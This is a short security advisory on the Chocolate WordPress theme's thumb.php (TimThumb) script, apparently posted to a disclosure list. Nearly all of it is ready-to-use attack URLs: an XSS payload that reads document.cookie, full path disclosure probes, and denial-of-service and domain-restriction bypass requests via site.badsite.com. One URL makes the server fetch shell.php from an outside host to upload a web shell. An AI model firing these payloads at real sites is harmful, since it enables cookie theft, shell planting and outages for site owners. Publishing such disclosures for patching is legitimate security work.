WordPress Chocolate Theme XSS / Denial Of Service / Shell Upload

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Affected products:
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Vulnerable are all versions of Chocolate WP theme for WordPress. Earlier 
I've informed developers about these vulnerabilities.
 
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Details:
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XSS (WASC-08) (in older versions of TimThumb):
 

http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

 
Full path disclosure (WASC-13):
 

http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3C111

 

http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1&w=1111111

 

http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1111111&w=1

 
Abuse of Functionality (WASC-42):
 

http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site&h=1&w=1


http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com&h=1&w=1

(bypass of restriction on domain, if such restriction is turned on)
 
DoS (WASC-10):
 

http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1


http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1

(bypass of restriction on domain, if such restriction is turned on)
 
About such Abuse of Functionality and Denial of Service vulnerabilities you 
can read in my article Using of the sites for attacks on other sites 
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).
 
Arbitrary File Upload (WASC-31):
 

http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php

 
Full path disclosure (WASC-13):
 

http://site/wp-content/themes/dt-chocolate/

 
Besides index.php there are also potentially FPD in other php-files of this 
theme.
 
Best wishes & regards,
Eugene Dokukin aka MustLive
Administrator of Websecurity web site

http://websecurity.com.ua